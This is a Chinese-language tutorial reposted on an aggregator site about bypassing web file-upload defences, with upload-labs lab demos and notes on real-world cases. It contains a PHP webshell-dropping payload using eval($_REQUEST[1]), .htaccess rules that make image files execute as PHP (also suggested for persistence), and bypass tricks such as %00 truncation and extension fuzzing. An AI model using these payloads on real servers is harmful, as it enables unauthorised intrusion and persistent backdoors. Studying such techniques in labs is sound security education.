当前位置: 首页 > news >正文

Web攻防-文件上传黑白名单MIMEJS前端执行权限编码解析OSS存储分域名应用场景

知识点:
1、WEB攻防-文件上传-前端&黑白名单&MIME&文件头等
2、WEB攻防-文件上传-执行权限&解码还原&云存储&分站等
3、WEB攻防-文件上传-JS提取&特定漏洞&第三方编辑器
4、WEB攻防-文件上传-思维导图形成

在这里插入图片描述

常规文件上传:
1、一定要明白:
文件解析安全问题上,格式解析是一对一的(不能jpg解析php)
换句话来说有解析错误配置或后缀解析漏洞时才能实现格式差异解析2、文件上传安全指的是攻击者通过利用上传实现后门的写入连接后门进行权限控制的安全问题,对于如何确保这类安全问题,一般会从原生态功能中的文件内容,文件后缀,文件类型等方面判断,但是漏洞可能不仅在本身的代码验证逻辑中出现安全问题,也会在语言版本,语言函数,中间件,引用的第三方编辑器等存在缺陷地方配合利用。另外文件上传也有多个存储逻辑,不同的文件存储方案也会给攻击者带来不一样的挑战!1、无限制
任意上传,什么文件都能上传2、有限制:
限制后缀格式(判断后缀名(黑白名单),MIME类型,文件头等)应用场景:
1、注册用户上传地方
2、后台或其他管理页面
3、源码泄露或盲测文件
4、JS或API接口的代码
5、第三方编辑器上传漏洞
6、特定的源码审计漏洞

一、演示案例-WEB攻防-文件上传-前端&黑白名单&MIME&文件头等

0、测试环境安装参考

字典:https://github.com/fuzzdb-project/fuzzdb
靶场环境:https://github.com/sqlsec/upload-labs-docker
在这里插入图片描述
docker安装
在这里插入图片描述
下载靶场项目并进入项目文件夹

cd upload-labs-docker

在这里插入图片描述
一键部署运行

docker-compose up -d

在这里插入图片描述
在这里插入图片描述

1、前端JS

如何判断是否是前端验证呢?
首先抓包监听,如果上传文件的时候还没有抓取到数据包,但是浏览器就提示文件类型不正确的话,那么这个多半就是前端校验了
在这里插入图片描述
如何绕过?
先上传一个图片后缀抓包改成脚本后缀

2、.htaccess(apache独有的配置文件)

一般上传用的不多,主要用来留后门
apache中,.htaccess文件可以上传并执行
这个文件定义了哪些格式文件可以以脚本方式解析

方式一:
.htaccess中写入:

<FilesMatch "s.jpg">SetHandler application/x-httpd-php
</FilesMatch>

然后再上传shell.jpg的木马, 这样shell.jpg就可解析为php文件
最好拿到shell之后修改自带的这个文件,添加上面的那段代码,就可以留个后门了

方式二:

AddType application/x-httpd-php .png  

在这里插入图片描述
在这里插入图片描述

.htaccess文件成功上传后,这时候再上传一个png图片的后门,就可以解析成脚本

3、MIME类型

Content-Type:image/png

在这里插入图片描述

4、文件头判断

GIF89a

在这里插入图片描述

5、黑名单-过滤不严

在这里插入图片描述

在这里插入图片描述
在这里插入图片描述

无递归(只检测一次,没循环)
pphphp(因为代码中是把匹配到的黑名单替换为空)

在这里插入图片描述

6、黑名单-过滤不严(windows中大小写没问题,但是在linux上是不能大小写的,要么全小写,要么全大写)

在这里插入图片描述
系统大小写敏感属性
在这里插入图片描述
在这里插入图片描述

7、PHP低版本GET-%00截断

在这里插入图片描述
在这里插入图片描述

自动解码一次
/var/www/html/upload/x.php%00

在这里插入图片描述
在这里插入图片描述

8、PHP低版本POST-%00截断

在这里插入图片描述

手工解码一次
../upload/x.php%00 二次解码

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

9、黑名单-过滤不严

php3

在这里插入图片描述
利用fuzz思路去跑后缀
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

10、逻辑不严-条件竞争

在这里插入图片描述
1.上传不断发包
在这里插入图片描述
2.请求不断发包
在这里插入图片描述
3.访问创建脚本代码

<?php fputs(fopen('xiao.php','w'),'<?php eval($_REQUEST[1]);?>');?>

在这里插入图片描述

11、二次渲染

后端语言会对图片进行二次渲染,让图片更好的呈现出来,但是这样就会造成一个图片里插入的脚本代码丢失的情况,但是需要配合文件包含漏洞,没啥意义。

1.先搞个正常图片,上传图片后导出渲染后的图片
在这里插入图片描述
2.对比保留部分,在保留部分添加后门代码
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
3.最后利用提示的文件包含执行图片后门代码
在这里插入图片描述

12、函数缺陷

1.使用move_uploaded_file 函数
2.保存的文件名可控

在这里插入图片描述

1.php/.

在这里插入图片描述
在这里插入图片描述

二、演示案例-WEB攻防-文件上传-应用场景-JS提取&源码类&编辑器

1、JS或API接口代码

DEMO

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

真实案例

在这里插入图片描述
在这里插入图片描述

2、第三方编辑器上传漏洞

ueditor漏洞参考:
https://www.cnblogs.com/linglinglingling/p/18040866
https://blog.csdn.net/weixin_58099903/article/details/125810825

DEMO

在这里插入图片描述
在这里插入图片描述

真实案例

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

3、特定的源码漏洞

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

三、演示案例-WEB攻防-文件上传-实战遇到的情况-执行权限&解码还原&分站存储&OSS存储

1、执行权限

文件上传后存储目录不给执行权限
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

在这里插入图片描述

绕过条件:能控制上传文件存储目录

2、解码还原

文件上传后利用编码传输解码还原
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:无法直接绕过

3、分站存储

upload.xiaodi8.com 上传

在这里插入图片描述
在这里插入图片描述

images.xiaodi8.com 存储

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:迂回战术,上传脚本到images.xiaodi8.com并控制这个网站,在从images.xiaodi8.com迂回到upload.xiaodi8.com(也就是类似旁站、C段入侵)

4、OSS对象

Access控制-OSS对象存储-Bucket对象

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

绕过:无法直接绕过

http://www.lryc.cn/news/579772.html

相关文章:

  • 二叉树题解——二叉树的层序遍历【LeetCode】队列实现
  • 热血三国建筑攻略表格
  • SciPy 安装使用教程
  • 【agent实战】用Agentic方案构建智能附件处理聊天服务
  • Element UI 完整使用实战示例
  • 智能设备远程管理:基于OpenAI风格API的自动化实践
  • 每日算法刷题Day41 6.28:leetcode前缀和2道题,用时1h20min(要加快)
  • Java中Stream流的使用
  • 低代码实战训练营教学大纲 (10天)
  • Linux内核驱动(前言、工程环境搭建及linux系统移植)(7.3)
  • 计算机科学导论(10)什么是BIOS
  • 设计模式-观察者模式、命令模式
  • STM32要学到什么程度才算合格?
  • HTTP详细介绍
  • 【BurpSuite 2025最新版插件开发】基础篇7:数据的持久化存储
  • serviceWorker缓存资源
  • P1073 [NOIP 2009 提高组] 最优贸易
  • 【数字后端】- 衡量design的congestion情况
  • 【HarmonyOS】应用开发拖拽功能详解
  • MySQL 8.0 OCP 1Z0-908 题目解析(17)
  • 高边驱动 低边驱动
  • IOC容器讲解以及Spring依赖注入最佳实践全解析
  • 【数据结构】哈希——闭散列/开散列模拟实现(C++)
  • 魔术方法__call__
  • Java的SpringAI+Deepseek大模型实战之会话记忆
  • Python入门Day2
  • 网络编程学习路线图
  • Windows 10 2016 长期服务版
  • 7.3实验部分
  • 工程化实践——标准化Eslint、PrettierTS